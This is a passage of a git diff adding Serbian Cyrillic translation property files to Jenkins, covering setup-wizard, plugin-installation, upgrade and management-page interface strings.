\u0422\u0440\u0435\u0431\u0430\u043B\u043E \u0431\u0438 \u0431\u0430\u0440\u0435\u043C \u0443\u043A\u0459\u0443\u0447\u0438\u0442\u0438 \u0430\u0443\u0442\u0435\u043D\u0442\u0438\u043A\u0430\u0446\u0438\u0458\u0443 \u0434\u0430 \u0441\u0435 \u043F\u0440\u0435\u0447\u0438 \u0437\u043B\u043E\u0443\u043F\u043E\u0442\u0440\u0435\u0431\u0430. diff --git a/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_sr.properties b/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_sr.properties new file mode 100644 index 0000000000..de25ba64e8 --- /dev/null +++ b/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_sr.properties @@ -0,0 +1,11 @@ +# This file is under the MIT License by authors + +authenticate-security-token.getting.started=\u041F\u043E\u0447\u0435\u0442\u0430\u043A +authenticate-security-token.unlock.jenkins=\u041E\u0442\u043A\u0459\u0443\u0447\u0430\u0458 Jenkins +jenkins.install.findSecurityTokenMessage=\u0414\u0430 \u0431\u0443\u0434\u0435 \u0431\u0438\u043E \u043F\u0440\u0438\u0441\u0442\u0443\u043F Jenkins-\u0443 \u043E\u0431\u0435\u0437\u0431\u0435\u0452\u0435\u043D, \ +\u043B\u043E\u0437\u0438\u043D\u043A\u0430 \u0458\u0435 \u0431\u0438\u043B\u0430 \u0438\u0437\u043F\u0438\u0441\u0430\u043D\u0430 \u0436\u0443\u0440\u043D\u0430\u043B\u0443 (\u043D\u0438\u0441\u0442\u0435 \u0441\u0438\u0433\u0443\u0440\u043D\u0438 \u0433\u0434\u0435 \u0441\u0435 \u0442\u043E \u043D\u0430\u043B\u0430\u0437\u0438?) \u0438 \u0443 \u043E\u0432\u043E\u0458 \u0434\u0430\u0442\u043E\u0442\u0435\u0446\u0438 \u043D\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0443:

                    {0}

                    +authenticate-security-token.copy.password=\u041C\u043E\u043B\u0438\u043C\u043E \u0438\u0441\u043A\u043E\u043F\u0438\u0440\u0430\u0458\u0442\u0435 \u043B\u043E\u0437\u0438\u043D\u043A\u0443 \u0441\u0430 \u0458\u0435\u0434\u043D\u0443 \u043E\u0434 \u0442\u0438\u0445 \u043B\u043E\u043A\u0430\u0446\u0438\u0458\u0430 \u0438 \u0443\u0431\u0430\u0446\u0438\u0458\u0435 \u0443 \u043E\u0434\u0433\u043E\u0432\u0430\u0440\u0443\u0458\u0443\u045B\u0435 \u043F\u043E\u0459\u0435. +authenticate-security-token.error=\u0413\u0420\u0415\u0428\u041A\u0410: +authenticate-security-token.password.incorrect=\u041D\u0430\u0432\u0435\u0434\u0435\u043D\u0430 \u043B\u043E\u0437\u0438\u043D\u043A\u0430 \u0441\u0435 \u043D\u0435 \u043F\u043E\u043A\u043B\u0430\u043F\u0430, \u043C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u043F\u043E\u0442\u0440\u0430\u0436\u0438\u0442\u0435 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0443 \u0437\u0430 \u0442\u0430\u0447\u043D\u0443 \u043B\u043E\u0437\u0438\u043D\u043A\u0443. +authenticate-security-token.password.administrator=\u041B\u043E\u0437\u0438\u043D\u043A\u0430 \u0430\u0434\u043C\u0438\u043D\u0438\u0441\u0442\u0440\u0430\u0442\u043E\u0440\u0430 +authenticate-security-token.continue=\u041D\u0430\u0441\u0442\u0430\u0432\u0438 diff --git a/core/src/main/resources/jenkins/install/SetupWizard/proxy-configuration_sr.properties b/core/src/main/resources/jenkins/install/SetupWizard/proxy-configuration_sr.properties new file mode 100644 index 0000000000..c3ca81a7f1 --- /dev/null +++ b/core/src/main/resources/jenkins/install/SetupWizard/proxy-configuration_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +HTTP\ Proxy\ Configuration=\u041F\u043E\u0441\u0442\u0430\u0432\u0459\u0430\u045A\u0435 HTTP Proxy-\u0430 diff --git a/core/src/main/resources/jenkins/install/SetupWizard/setupWizardFirstUser_sr.properties b/core/src/main/resources/jenkins/install/SetupWizard/setupWizardFirstUser_sr.properties new file mode 100644 index 0000000000..6d39904f8d --- /dev/null +++ b/core/src/main/resources/jenkins/install/SetupWizard/setupWizardFirstUser_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Create\ First\ Admin\ User=\u041A\u0440\u0435\u0438\u0440\u0430\u0458\u0442\u0435 \u043F\u0440\u0432\u043E\u0433 \u0430\u0434\u043C\u0438\u043D\u0438\u0441\u0442\u0440\u0430\u0442\u043E\u0440\u0430 diff --git a/core/src/main/resources/jenkins/install/UpgradeWizard/client-scripts_sr.properties b/core/src/main/resources/jenkins/install/UpgradeWizard/client-scripts_sr.properties new file mode 100644 index 0000000000..454c68e0dd --- /dev/null +++ b/core/src/main/resources/jenkins/install/UpgradeWizard/client-scripts_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +msg.before=\u0414\u043E\u0431\u0440\u043E\u0434\u043E\u0448\u043B\u0438 \u043D\u0430 Jenkins 2!\u0020 +msg.link=\u0410\u0436\u0443\u0440\u0438\u0440\u0430\u0458 \u0441\u0430\u0434\u0430 +msg.after=\u0020 \u0434\u0430 \u0437\u0430\u0434\u043E\u0431\u0438\u0458\u0435\u0442\u0435 \u043D\u043E\u0432\u0435 \u043E\u0434\u043B\u0438\u043A\u0435 \ No newline at end of file diff --git a/core/src/main/resources/jenkins/install/pluginSetupWizard_sr.properties b/core/src/main/resources/jenkins/install/pluginSetupWizard_sr.properties new file mode 100644 index 0000000000..19b8568ad4 --- /dev/null +++ b/core/src/main/resources/jenkins/install/pluginSetupWizard_sr.properties @@ -0,0 +1,74 @@ +# This file is under the MIT License by authors + +installWizard_welcomePanel_title=\u041F\u043E\u0447\u0435\u0442\u0430\u043A +installWizard_welcomePanel_banner=\u041F\u0440\u0438\u0440\u0435\u0434\u0438 Jenkins +installWizard_welcomePanel_message=\u041C\u043E\u0434\u0443\u043B\u0435 \u043F\u0440\u043E\u0448\u0438\u0440\u0443\u0458\u0443 \u0444\u0443\u043D\u043A\u0446\u0438\u043E\u043D\u0430\u043B\u043D\u043E\u0441\u0442 Jenkins-\u0430 \u0441\u0430 \u0434\u043E\u0434\u0430\u0442\u043D\u0438\u043C \u043E\u0434\u043B\u0438\u043A\u0430\u043C\u0430 \u043A\u043E\u0458\u0438 \u043F\u043E\u0434\u0440\u0436\u0430\u0432\u0430\u0458\u0443 \u0440\u0430\u0437\u043D\u0435 \u0443\u043F\u043E\u0442\u0440\u0435\u0431\u0435. +installWizard_jenkinsVersionTitle=Jenkins +installWizard_offline_title=\u0412\u0430\u043D \u043C\u0440\u0435\u0436\u0435 +installWizard_offline_message=Jenkins \u0442\u0440\u0435\u043D\u0443\u0442\u043D\u043E \u0440\u0430\u0434\u0438 \u0432\u0430\u043D \u043C\u0440\u0435\u0436\u0435.\ +

                    \ +\u0414\u0430 \u0431\u0438 \u0441\u0442\u0435 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043B\u0438 Jenkins \u0431\u0435\u0437 \u0438\u043D\u0442\u0435\u0440\u043D\u0435\u0442 \u0432\u0435\u0437\u043E\u043C, \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \ +\u0412\u0430\u043D-\u043C\u0440\u0435\u0436\u043D\u0430 Jenkins \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430.

                    \ +\u041C\u043E\u0436\u0435\u0442\u0435 \u043D\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0430\u0458\u0443\u0447\u0438 proxy \u0438\u043B\u0438 \u043F\u0440\u0435\u0441\u043A\u0430\u043A\u0430\u045A\u0435\u043C \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0438 \u043C\u043E\u0434\u0443\u043B\u0430. \ +

                    +installWizard_error_header=\u0414\u043E\u0448\u043B\u043E \u0458\u0435 \u0434\u043E \u0433\u0440\u0435\u0448\u043A\u0435 +installWizard_error_message=\u0414\u043E\u0448\u043B\u043E \u0458\u0435 \u0434\u043E \u0433\u0440\u0435\u0448\u043A\u0435 \u0442\u043E\u043A\u043E\u043C \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0435: +installWizard_error_connection=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u043F\u043E\u0432\u0435\u0437\u0430\u0442\u0438 \u0441\u0430 Jenkins-\u043E\u043C +installWizard_error_restartNotSupported=\u041F\u043E\u0448\u0442\u043E \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u043E \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0435 \u043D\u0438\u0458\u0435 \u043F\u043E\u0434\u0440\u0436\u0430\u043D\u043E, \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0438\u0442\u0435 \u043C\u0430\u0448\u0438\u043D\u0443 \u0440\u0443\u0447\u043D\u043E. +installWizard_installCustom_title=\u041F\u043E\u0447\u0435\u0442\u0430\u043A +installWizard_installCustom_selectAll=\u0421\u0432\u0435 +installWizard_installCustom_selectNone=\u041D\u0438\u0448\u0442\u0430 +installWizard_installCustom_selectRecommended=\u041F\u0440\u0435\u0434\u043B\u043E\u0436\u0435\u043D\u043E +installWizard_installCustom_selected=\u0418\u0437\u0430\u0431\u0440\u0430\u043D\u043E +installWizard_installCustom_dependenciesPrefix=\u0417\u0430\u0432\u0438\u0441\u043D\u043E\u0441\u0442\u0438 +installWizard_installCustom_pluginListDesc=\u041A\u043E\u043C\u043F\u043B\u0435\u0442\u0430\u043D \u043D\u0438\u0437 \u043C\u043E\u0434\u0443\u043B\u0430 \u043D\u0438\u0458\u0435 \u043F\u0440\u0438\u043A\u0430\u0437\u0430\u043D\u043E. \u0414\u043E\u0434\u0430\u0442\u043D\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u043C\u043E\u0433\u0443 \u0431\u0438\u0442\u0438 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0438 \u0441\u0430 \u0423\u043F\u0440\u0430\u0432\u0459\u0430\u0447\u0435\u043C \u043C\u043E\u0434\u0443\u043B\u0430. \u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0412\u0438\u043A\u0438 \u0437\u0430 \u0432\u0438\u0448\u0435 \u0434\u0435\u0442\u0430\u0459\u0430. +installWizard_goBack=\u041D\u0430\u0437\u0430\u0434 +installWizard_goInstall=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0458 +installWizard_installing_title=\u041F\u043E\u0447\u0435\u0442\u0430\u043A +installWizard_installing_detailsLink=\u0414\u0435\u0442\u0430\u0459\u0438... +installWizard_installComplete_title=\u041F\u043E\u0447\u0435\u0442\u0430\u043A +installWizard_installComplete_banner=Jenkins \u0458\u0435 \u0441\u043F\u0440\u0435\u043C\u0430\u043D! +installWizard_installComplete_bannerRestart=Jenkins \u0458\u0435 \u0441\u043A\u043E\u0440\u043E \u0441\u043F\u0440\u0435\u043C\u0430\u043D! +installWizard_pluginsInstalled_message=\u0418\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 \u043C\u043E\u0434\u0443\u043B\u0430 \u0458\u0435 \u0433\u043E\u0442\u043E\u0432\u043E. +installWizard_installComplete_message=\u0418\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 Jenkins-\u0430 \u0458\u0435 \u0433\u043E\u0442\u043E\u0432\u043E. +installWizard_installComplete_finishButtonLabel=\u041F\u043E\u0447\u043D\u0438\u0442\u0435 \u0434\u0430 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 Jenkins +installWizard_installComplete_installComplete_restartRequiredMessage=\u0418\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 Jenkins-\u0430 \u0458\u0435 \u0433\u043E\u0442\u043E\u0432\u043E, \u043C\u0435\u0452\u0443\u0442\u0438\u043C \u043D\u0435\u043A\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u0442\u0440\u0430\u0436\u0435 \u0434\u0430 \u0441\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0435\u0440\u0435\u043D\u0435 Jenkins. +installWizard_installComplete_installComplete_restartRequiredNotSupportedMessage=\u0418\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 Jenkins-\u0430 \u0458\u0435 \u0433\u043E\u0442\u043E\u0432\u043E, \u043C\u0435\u0452\u0443\u0442\u0438\u043C \u043D\u0435\u043A\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u0442\u0440\u0430\u0436\u0435 \u0434\u0430 \u0441\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0435\u0440\u0435\u043D\u0435 Jenkins. \u041F\u043E\u0448\u0442\u043E \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u043E \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0435 \u043D\u0438\u0458\u0435 \u043F\u043E\u0434\u0440\u0436\u0430\u043D\u043E, \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0438\u0442\u0435 \u043C\u0430\u0448\u0438\u043D\u0443 \u0440\u0443\u0447\u043D\u043E. +installWizard_installComplete_restartRequiredMessage=\u041D\u0435\u043A\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u0442\u0440\u0430\u0436\u0435 \u0434\u0430 \u0441\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0435\u0440\u0435\u043D\u0435 Jenkins. +installWizard_installComplete_restartLabel=\u041F\u043E\u043A\u0440\u0435\u043D\u0438 \u043F\u043E\u043D\u043E\u0432\u043E +installWizard_installIncomplete_title=\u041D\u0430\u0441\u0442\u0430\u0432\u0438 \u0441\u0430 \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u043E\u043C +installWizard_installIncomplete_banner=\u041D\u0430\u0441\u0442\u0430\u0432\u0438 \u0441\u0430 \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u043E\u043C +installWizard_installIncomplete_message= +installWizard_saveFirstUser=\u0421\u0430\u0447\u0443\u0432\u0430\u0458 \u0438 \u043D\u0430\u0441\u0442\u0430\u0432\u0438 +installWizard_skipFirstUser=\u041D\u0430\u0441\u0442\u0430\u0432\u0438 \u0441\u0430 \u0430\u0434\u043C\u0438\u043D\u0438\u0441\u0442\u0440\u0430\u0442\u043E\u0440\u0441\u043A\u0438\u043C \u043D\u0430\u043B\u043E\u0433\u043E\u043C +installWizard_firstUserSkippedMessage=
                    \ +\u041F\u0440\u0435\u0441\u043A\u043E\u0447\u0438\u043B\u0438 \u0441\u0442\u0435 \u043A\u0440\u0435\u0438\u0440\u0430\u045A\u0435\u043C \u0430\u0434\u043C\u0438\u043D\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043E\u0433 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430. \u041F\u0440\u0438\u0458\u0430\u0432\u0438\u0442\u0435 \u0441\u0435 \u043A\u0430\u043A\u043E \u0448\u0442\u043E \u045B\u0435 \u0442\u0435 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0438 \u0438\u043C\u0435: 'admin' \u0438 \u043B\u043E\u0437\u0438\u043D\u043A\u0443 \u043A\u043E\u0458\u0443 \u0441\u0442\u0435 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u043B\u0438 \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u043E\u043C.\ +
                    +installWizard_addFirstUser_title=\u041F\u043E\u0447\u0435\u0442\u0430\u043A +installWizard_configureProxy_label=\u041F\u043E\u0441\u0442\u0430\u0432\u0438 Proxy \u0441\u0435\u0440\u0432\u0435\u0440 +installWizard_configureProxy_save= +installWizard_gettingStarted_title= +installWizard_saveSecurity=\u0421\u0430\u0447\u0443\u0432\u0430\u0458 \u0438 \u043D\u0430\u0441\u0442\u0430\u0432\u0438 +installWizard_skipPluginInstallations=\u041F\u0440\u0435\u0441\u043A\u043E\u0447\u0438 \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0443 \u043C\u043E\u0434\u0443\u043B\u0430 +installWizard_installIncomplete_dependenciesLabel=\u0417\u0430\u0432\u0438\u0441\u043D\u043E\u0441\u0442\u0438 +installWizard_installingConsole_dependencyIndicatorNote=** - \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u0430 \u0437\u0430\u0432\u0438\u0441\u043D\u043E\u0441\u0442 +installWizard_websiteLinkLabel=\u0421\u0442\u0440\u0430\u043D\u0438\u0446\u0430 +installWizard_pluginInstallFailure_title=\u0413\u0440\u0435\u0448\u043A\u0435 \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u043E\u043C +installWizard_pluginInstallFailure_message=\u041D\u0435\u043A\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u043D\u0438\u0441\u0443 \u0443\u0441\u043F\u0435\u0448\u043D\u043E \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0435. \u041C\u043E\u0436\u0435\u0442\u0435 \u043F\u043E\u043A\u0443\u0448\u0430\u0442\u0438 \u043F\u043E\u043D\u043E\u0432\u043E \u0434\u0430 \u0438\u0445 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0442\u0435 \u0438\u043B\u0438 \u043D\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u0438. +installWizard_continue=\u041D\u0430\u0441\u0442\u0430\u0432\u0438 +installWizard_retry=\u041F\u043E\u043A\u0443\u0448\u0430\u0458 \u043F\u043E\u043D\u043E\u0432\u043E +installWizard_upgradePanel_title=\u0410\u0436\u0443\u0440\u0438\u0440\u0430\u0458 +installWizard_upgradePanel_banner=\u0414\u043E\u0431\u0440\u043E\u0434\u043E\u0448\u043B\u0438 \u043D\u0430 Jenkins {0}! +installWizard_upgradePanel_message=Jenkins {0} \u0438\u043C\u0430 \u043D\u0435\u043A\u0435 \u043E\u0434\u043B\u0438\u0447\u043D\u0435 \u043D\u043E\u0432\u0435 \u043E\u0434\u043B\u0438\u043Ae \u043A\u043E\u0458\u0435 \u043C\u0438\u0441\u043B\u0438\u043C\u043E \u0434\u0430 \u0432\u0430\u043C \u045B\u0435 \u0441\u0435 \u0441\u0432\u0438\u0452\u0430\u0442\u0438. \u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0458\u0442\u0435 \u043E\u0432\u0435 \u0434\u043E\u0434\u0430\u0442\u043D\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u0448\u0442\u043E \u043F\u0440\u0435! +installWizard_upgradePanel_skipRecommendedPlugins=\u041D\u0435 \u0445\u0432\u0430\u043B\u0430 +installWizard_upgradeComplete_title=\u0410\u0436\u0443\u0440\u0438\u0440\u0430\u0458 +installWizard_pluginsInstalled_banner=\u0414\u043E\u0431\u0440\u043E\u0434\u043E\u0448\u043B\u0438 \u043D\u0430 Jenkins {0}! +installWizard_upgradeComplete_message=\u0427\u0435\u0441\u0442\u0438\u0442\u0430\u043C\u043E! \u0410\u0436\u0443\u0440\u0438\u0440\u0430\u043B\u0438 \u0441\u0442\u0435 Jenkins \u043D\u0430 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 {0}.

                    \u041F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u0458\u043E\u0448 \u043D\u0430 Jenkins \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0438! +installWizard_upgradeSkipped_title=\u0410\u0436\u0443\u0440\u0438\u0440\u0430\u0458 +installWizard_upgradeSkipped_banner=\u041E\u0434\u043B\u0438\u043A\u0435 \u043A\u043E\u0458\u0435 \u043D\u0438\u0441\u0443 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0435 +installWizard_upgradeSkipped_message=

                    \u043F\u0440\u0435\u0434\u043B\u043E\u0436\u0438\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u043D\u0435\u045B\u0435 \u0431\u0438\u0442\u0438 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0435.
                    \ +

                    \u0410\u043A\u043E \u0441\u0442\u0435 \u043F\u0440\u0435\u0434\u043E\u043C\u0438\u0441\u043B\u0438\u0442\u0435, \u043C\u043E\u0436\u0435\u0442\u0435 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0442\u0438 \u043D\u043E\u0432\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u0441\u0430 \u0423\u043F\u0440\u0430\u0432\u0459\u0430\u0447\u0435\u043C \u043C\u043E\u0434\u0443\u043B\u0430.

                    \ +

                    \u041F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u043A\u0430\u043A\u043E \u043C\u043E\u0434\u0443\u043B\u0435 \u0443\u0441\u0430\u0432\u0440\u0448\u0430\u0432\u0430\u0458\u0443 Jenkins \ +\u043D\u0430 Jenkins \u0441\u0442\u0430\u043D\u0438\u0446\u0438.

                    +installWizard_upgrading_title=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u045A\u0435 \u043C\u043E\u0434\u0443\u043B\u0430 +installWizard_upgradeComplete_finishButtonLabel=\u0417\u0430\u0432\u0440\u0448\u0438 \ No newline at end of file diff --git a/core/src/main/resources/jenkins/management/Messages_sr.properties b/core/src/main/resources/jenkins/management/Messages_sr.properties new file mode 100644 index 0000000000..276429a4ad --- /dev/null +++ b/core/src/main/resources/jenkins/management/Messages_sr.properties @@ -0,0 +1,26 @@ +# This file is under the MIT License by authors + +ConfigureLink.DisplayName=\u041F\u043E\u0441\u0442\u0430\u0432\u0438 \u0441\u0438\u0441\u0442\u0435\u043C\u0441\u043A\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 +ConfigureLink.Description=\u041E\u0431\u0448\u0442\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0438 \u043F\u0443\u0442\u0435\u0432\u0438. +ConfigureTools.DisplayName=\u041E\u0431\u0448\u0442\u0435 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0435 \u0430\u043B\u0430\u0442\u0430 +ConfigureTools.Description=\u041F\u043E\u0441\u0442\u0430\u0432\u0438 \u0430\u043B\u0430\u0442\u0435, \u043B\u043E\u043A\u0430\u0446\u0438\u0458\u0435, \u0438 \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u0443 \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0443 +ReloadLink.DisplayName=\u041F\u043E\u043D\u043E\u0432\u043E \u0443\u0447\u0438\u0442\u0430\u0458 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0441\u0430 \u0434\u0438\u0441\u043A\u0430 +ReloadLink.Description=\u0418\u0437\u0431\u0440\u0438\u0448\u0438 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0441\u0430 \u043C\u0435\u043C\u043E\u0440\u0438\u0458\u0435 \u0438 \u0443\u0447\u0438\u0442\u0430\u0458 \u0441\u0430 \u0434\u0438\u0441\u043A\u0430.\n \u041A\u043E\u0440\u0438\u0441\u043D\u043E \u043A\u0430\u0434\u0430 \u0441\u0442\u0435 \u043F\u0440\u043E\u043C\u0435\u043D\u0438\u043B\u0438 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0434\u0438\u0440\u0435\u043A\u0442\u043D\u043E \u043D\u0430 \u0434\u0438\u0441\u043A\u0443. +PluginsLink.Description=\u0414\u043E\u0434\u0430\u0458\u0442\u0435, \u0443\u043A\u043B\u043E\u043D\u0438\u0442\u0435, \u0438\u043B\u0438 \u043E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0438\u0442\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u043A\u043E\u0458\u0435 \u043F\u0440\u043E\u0448\u0438\u0440\u0443\u0458\u0443 \u043C\u043E\u0433\u0443\u045B\u043D\u043E\u0441\u0442\u0435 Jenkins-\u0430. +PluginsLink.DisplayName=\u041F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0435 \u043C\u043E\u0434\u0443\u043B\u0430 +SystemInfoLink.DisplayName=\u0418\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 \u043E \u0441\u0438\u0441\u0442\u0435\u043C\u0443 +SystemInfoLink.Description=\u041F\u0440\u0438\u043A\u0430\u0437\u0443\u0458\u0435 \u0440\u0430\u0437\u043D\u0443 \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0443 \u043E \u0441\u0438\u0441\u0442\u0435\u043C\u0443 \u0434\u0430 \u0431\u0443 \u043F\u043E\u043C\u0430\u0433\u0430\u043B\u043E \u0441\u0430 \u0440\u0435\u0448\u0430\u0432\u0430\u045A\u0435\u043C \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0438\u043C\u0430. +SystemLogLink.DisplayName=\u0416\u0443\u0440\u043D\u0430\u043B \u0441\u0438\u0441\u0442\u0435\u043C\u0430 +SystemLogLink.Description=\u0416\u0443\u0440\u043D\u0430\u043B \u0441\u0438\u0441\u0442\u0435\u043C\u0430 \u0437\u0430\u043F\u0438\u0441\u0443\u0458\u0435 \u0438\u0441\u0445\u043E\u0434 java.util.logging \u043A\u043E\u0458\u0438 \u0441\u0435 \u043E\u0434\u043D\u043E\u0441\u0438 \u043D\u0430 Jenkins. +StatisticsLink.DisplayName=\u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043A\u0435 \u043E \u043E\u043F\u0442\u0435\u0440\u0435\u045B\u0435\u045A\u0443 +StatisticsLink.Description=\u041F\u0440\u043E\u0432\u0435\u0440\u0438\u0442\u0435 \u043E\u043F\u0442\u0435\u0440\u0435\u045B\u0435\u045A\u0435 \u043D\u0430\u0434 \u0440\u0435\u0441\u0443\u0440\u0441\u0438\u043C\u0430 \u0434\u0430 \u0431\u0438 \u0441\u0442\u0435 \u043E\u0434\u0440\u0435\u0434\u0438\u043B\u0438 \u0430\u043A\u043E \u0458\u0435 \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0432\u0438\u0448\u0435 \u043C\u0430\u0448\u0438\u043D\u0430 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443. +CliLink.Description=\u0414\u043E\u0441\u0442\u0443\u043F\u0438\u0442\u0435 \u0438 \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u0458\u0442\u0435 Jenkins-\u043E\u043C \u0441\u0430 \u043A\u043E\u043C\u0430\u043D\u0434\u043D\u0435 \u043B\u0438\u043D\u0438\u0458\u0435 \u0438\u043B\u0438 \u0441\u043A\u0440\u0438\u043F\u0442\u043E\u043C. +CliLink.DisplayName=Jenkins \u0441\u0430 \u043A\u043E\u043C\u0430\u043D\u0434\u043D\u0435 \u043B\u0438\u043D\u0438\u0458\u0435 +ConsoleLink.DisplayName=\u041A\u043E\u043D\u0437\u043E\u043B\u0430 +ConsoleLink.Description=\u0418\u0437\u0432\u0440\u0448\u0430\u0432\u0430 \u0441\u043A\u0440\u0438\u043F\u0442\u043E\u0432\u0435 \u0437\u0430 \u0430\u0434\u043C\u0438\u043D\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0458\u0443 \u0438 \u043E\u0442\u043A\u0440\u0438\u0432\u0430\u045A\u0435 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0430. +NodesLink.DisplayName=\u0423\u043F\u0440\u0430\u0432\u0438 \u043C\u0430\u0448\u0438\u043D\u0430\u043C\u0430 +NodesLink.Description=\u0414\u043E\u0434\u0430\u0458\u0442\u0435, \u0443\u043A\u043B\u043E\u043D\u0438\u0442\u0435, \u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u043C\u0430\u0448\u0438\u043D\u0435 \u043D\u0430 \u043A\u0438\u043C \u0441\u0435 \u0438\u0437\u0432\u0440\u0448\u0430\u0432\u0430\u0458\u0443 \u0437\u0430\u0434\u0430\u0446\u0438. +ShutdownLink.DisplayName_prepare=\u041F\u0440\u0438\u043F\u0440\u0435\u043C\u0438 \u0437\u0430 \u0433\u0430\u0448\u0435\u045A\u0435 +ShutdownLink.Description=\u0417\u0430\u0443\u0441\u0442\u0430\u0432\u0438 \u0438\u0437\u0432\u0440\u0448\u0430\u0432\u0430\u045A\u0435 \u043D\u043E\u0432\u0438\u0445 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430, \u0434\u0430 \u0431\u0438 \u0441\u0438\u0441\u0442\u0435\u043C \u043C\u043E\u0433\u0430\u043E \u0431\u0438\u0442\u0438 \u0431\u0435\u0437\u0431\u0435\u0434\u043D\u043E \u0438\u0441\u043A\u0459\u0443\u0447\u0435\u043D. +ShutdownLink.DisplayName_cancel=\u041E\u0442\u043A\u0430\u0436\u0438 \u0433\u0430\u0448\u0435\u045A\u0435 +Manage\ 